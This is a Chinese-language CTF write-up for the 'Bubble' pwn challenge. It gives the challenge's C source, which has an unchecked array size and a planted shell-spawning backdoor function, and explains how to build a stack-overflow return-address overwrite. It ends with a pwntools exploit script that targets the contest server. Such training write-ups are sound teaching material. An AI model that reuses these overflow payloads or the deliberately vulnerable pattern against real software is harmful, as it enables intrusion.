TSCTF-j 2023 Bubble Write-Up

题目背景

题目灵感来源于当年大一计导课做OJ的时候,遇到类似这种输入数组size的时候老是不知道应该把数组的实际size设置成多大。所以浅写了一个设置了数组的大小,但是没有对输入的size进行检查的冒泡排序算法。源代码如下

// gcc -g -no-pie -fno-stack-protector -o bubble bubble.c
#include <stdio.h>
#include <stdlib.h>
void init() // init函数是用来设置远程环境的时候输入输出缓冲的函数,感兴趣的同学可以自行查阅,这里不做赘述。
{
    setvbuf(stdin, 0LL, 2, 0LL);
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stderr, 0LL, 2, 0LL);
}
int main()
{
    init();
    int size;
    int arr[64];
    int i;
    int j = 0;
    puts("Please enter the size of the array: ");
    scanf("%d", &size);
    puts("Please enter the elements of the array: ");
    for (i = 0; i < size; i++)
    {
        scanf("%d", &arr[i]);
    }

    for (; j < size - 1; j++)
    {
        for (int k = 0; k < size - j - 1; k++)
        {
            if (arr[k] > arr[k + 1])
            {
                int temp = arr[k];
                arr[k] = arr[k + 1];
                arr[k + 1] = temp;
            }
        }
    }

    puts("Sorted array: ");
    for (i = 0; i < size; i++)
    {
        printf("%d ", arr[i]);
    }
    puts("\nWell...A little bit confused..?\nThere is something cool in the \"bubble_tea\" function!\nCheck it out!");
    return 0;
}

void bubble_tea()
{
    system("/bin/sh");
}

解题思路

先checksec检查保护信息

image-20230924220043241

PIE是关掉的,所以如果能栈溢出的话可以直接返回到bubble_tea函数从而拿到shell。

由于是纯C语言写的,并且善良(?)的我把调试信息也给了,所以逆向部分应该没什么难度,就是一个单纯的冒泡排序算法,但是没有对size的大小进行检查,导致scanf可以连续输入很多数字,直到溢出arr[64]这个变量。

所以思路很简单:利用scanf栈溢出把main函数的返回地址覆盖为bubble_tea即可。

控制循环

  for ( i = 0; i < size; ++i )
    __isoc99_scanf("%d", &arr[i]);

我们需要让arr[i]指向main函数的返回地址的时候,正好跳出循环。

考虑栈的情况:

image-20230924221701776

size (4 bytes)
temp (4 bytes)
k (4 bytes)
j (4 bytes)
i (4 bytes)
saved_rbp (8 bytes)
ret_addr (8 bytes)

为了覆盖到ret_addr,必须要先覆盖前面几个变量。而这些变量和算法中的循环息息相关,需要精心加以控制。

看看while循环的条件

while ( j < size - 1 )

为了跳过这个while循环,只需要把temp, k的值设置成0,j设置成很大的值即可。

难点在于size和i这两个变量。

看看for循环的跳出条件:

  for ( i = 0; i < size; ++i )
    __isoc99_scanf("%d", &arr[i]);

我们要让当arr[i]指向ret_addr高4字节的时候正好满足size=i+1,这样的话正好在写完ret_addr的时候跳出这个for循环。

为了计算这两个变量,同学们可以列个表来表示栈的结构。

image-20230924224909688

表中的绿色单元表示当前时刻arr[i]对应的位置。可以算出size=76时,当arr[i]指向ret_addr高4字节的时候正好满足size=i+1

最后一个问题在于,scanf读入的%d是整数类型的,只有4字节,而ret_addr有8个字节。这就涉及到在内存中数字是如何存储的。

在这个环境中,数字是以小端序存储的(可以看看上面的checksec检查中的Arch内容)。

例如在下图中0x7ffd19c474d8这个单元格存储的数字是0x000000000040121b,他的高位存在高字节,低位存在低字节。

image-20230924230152200

所以为了把ret_addr覆盖为bubble_tea的地址0x40139A,需要让其低4字节为0x40139A,高4字节为0。具体在输入时,高4字节填0,低4字节为0x40139A对应的十进制4199322即可。

栈帧对齐

目前的exp如下

from pwn import *
context.log_level = 'DEBUG'
p = process('./bubble_setbuf')
p.sendline(b'999')
payload=b'0 '*67+b'76 0 0 999 71 0 0 4199322 0'
p.sendline(payload)
p.interactive()

然而发现打不通。debug会发现卡在了system函数

image-20230924230553307

比赛的时候其实也给了hint:

关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题

我们使用文章中的第二种方法,把ret的地址逐渐加一直到打通为止。测试发现4199327是可用的。

最终exp

from pwn import *
context.log_level = 'DEBUG'
# p = process('./bubble_setbuf')
p = remote('ctf.buptmerak.cn',21248)
p.sendline(b'999')
payload=b'0 '*67+b'76 0 0 999 71 0 0 4199327 0'
p.sendline(payload)
p.interactive()

蒟蒻悄悄说两句😣

本来我是想出一道简单的ret2backdoor的签到题,但是好像做下来还是有一定难度和经验需求的,可能对各位二进制新手朋友不是那么的友好。

这是我第一次出PWN题,以及我的主要方向并不是PWN,可能和预想的难度不太匹配,在此深表歉意😣😣

希望各位新生朋友不要因为这个“签到题”没做出来而消磨了学二进制的热情,因为PWN这东西其实很好玩的hhh

posted @ 2023-09-25 21:39  KingBridge  阅读(167)  评论(0编辑  收藏  举报